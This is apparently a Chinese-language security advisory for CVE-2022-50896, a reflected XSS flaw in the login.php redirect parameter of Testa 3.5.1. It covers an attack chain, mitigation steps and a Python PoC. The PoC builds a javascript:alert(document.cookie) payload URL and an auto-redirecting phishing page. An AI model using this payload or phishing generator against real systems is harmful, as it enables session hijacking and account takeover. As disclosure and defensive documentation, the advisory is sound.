IPBUF安全漏洞报告
English
CVE-2022-50896 CVSS 6.1 中危

CVE-2022-50896 | Testa 3.5.1 登录页面redirect参数反射型XSS漏洞

披露日期: 2026-01-13

漏洞信息

漏洞编号
CVE-2022-50896
漏洞类型
反射型跨站脚本攻击(XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Testa Online Test Management System 3.5.1

相关标签

CVE-2022-50896反射型XSS跨站脚本攻击Testa在线测试管理系统会话劫持Web安全漏洞登录页面漏洞

漏洞概述

CVE-2022-50896是Testa在线测试管理系统3.5.1版本中存在的一个反射型跨站脚本攻击(XSS)漏洞。该漏洞源于login.php页面中的redirect参数未对用户输入进行充分的过滤和验证。Testa是一款开源的在线测试管理平台,广泛应用于教育机构和企业内部培训评估场景。由于该系统通常部署在内部网络中,攻击者可以利用此漏洞窃取用户会话cookie、劫持用户账户或进行钓鱼攻击。反射型XSS不同于存储型XSS,其恶意脚本不会永久保存在服务器端,而是通过URL参数等方式即时反射给用户。攻击者通常通过社工手段诱导受害者点击特制的链接,利用受害者的浏览器执行恶意JavaScript代码,从而获取敏感信息或执行未授权操作。由于该漏洞无需认证即可利用,且CVSS评分达到6.1(中等严重程度),对系统的机密性和完整性造成一定影响,建议相关用户尽快采取修复措施。

技术细节

该漏洞位于Testa 3.5.1的login.php文件中的redirect参数处理逻辑。当用户访问登录页面时,可以通过redirect参数指定登录成功后的跳转URL。然而,系统直接将该参数值未经适当编码或验证就嵌入到HTML响应中,导致攻击者可以在URL中注入任意JavaScript代码。具体攻击过程如下:攻击者构造恶意URL,如http://target/login.php?redirect=javascript:alert(document.cookie),当受害者访问该链接时,浏览器会执行URL中嵌入的恶意脚本。由于浏览器无法区分这是正常的页面内容还是URL参数的一部分,脚本将在受害者的浏览器上下文中执行,从而实现会话劫持、敏感数据窃取等恶意操作。攻击者通常会使用URL编码或HTML实体编码来绕过基本的过滤机制。防御此类漏洞需要对所有用户输入进行严格的输入验证和输出编码,使用Content-Security-Policy头部限制脚本执行,并采用现代Web开发框架提供的安全机制。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的Testa系统版本,确认login.php页面存在且redirect参数可控
STEP 2
步骤2: 构造恶意链接
攻击者构造包含XSS payload的恶意URL,使用javascript:或data:协议执行任意JavaScript代码
STEP 3
步骤3: 社会工程攻击
攻击者通过钓鱼邮件、即时通讯或其他渠道诱导受害者点击恶意链接
STEP 4
步骤4: XSS执行
受害者浏览器解析URL时,redirect参数值被反射到页面中,触发恶意脚本执行
STEP 5
步骤5: 会话劫持
恶意脚本窃取受害者的Cookie、Session Token或其他敏感信息,并发送到攻击者控制的服务器
STEP 6
步骤6: 账户接管
攻击者使用窃取的凭证登录系统,执行未授权操作或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import urllib.parse # CVE-2022-50896 PoC - Reflected XSS in Testa 3.5.1 login.php # Target: Testa Online Test Management System # Vulnerability: Unvalidated redirect parameter in login.php def generate_xss_payload(): """Generate XSS payload for the redirect parameter""" # Basic XSS payload - cookie stealing payload = "javascript:alert(document.cookie)" encoded_payload = urllib.parse.quote(payload) return encoded_payload def generate_poc_url(target_url): """Generate PoC URL with malicious redirect parameter""" payload = generate_xss_payload() # Construct the malicious URL poc_url = f"{target_url}/login.php?redirect={payload}" return poc_url def generate_html_phishing_page(target_url): """Generate HTML page that auto-triggers the XSS""" poc_url = generate_poc_url(target_url) html = f"""<!DOCTYPE html> <html> <head> <title>Loading...</title> </head> <body> <p>If you are not redirected, <a href="{poc_url}">click here</a></p> <script> // Auto-redirect to trigger XSS window.location.href = "{poc_url}"; </script> </body> </html>""" return html # Example usage if __name__ == "__main__": target = "http://testa-server.local" print("=== CVE-2022-50896 PoC ===") print(f"Target: {target}") print(f"\nMalicious URL:") print(generate_poc_url(target)) print("\n--- Attack Scenario ---") print("1. Attacker crafts malicious URL with XSS payload in redirect parameter") print("2. Victim clicks the link or visits phishing page") print("3. Victim's browser executes malicious JavaScript") print("4. Attacker steals session cookies or performs actions as victim")

影响范围

Testa Online Test Management System 3.5.1

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 在Web服务器层面配置URL过滤规则,拒绝包含javascript:、data:等危险协议的redirect参数值;2) 临时禁用login.php的redirect参数功能,强制跳转到固定页面;3) 部署WAF规则拦截包含XSS特征的请求;4) 加强对用户登录行为的监控,及时发现异常会话活动;5) 限制测试管理系统的网络访问范围,仅允许授权IP访问管理后台。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表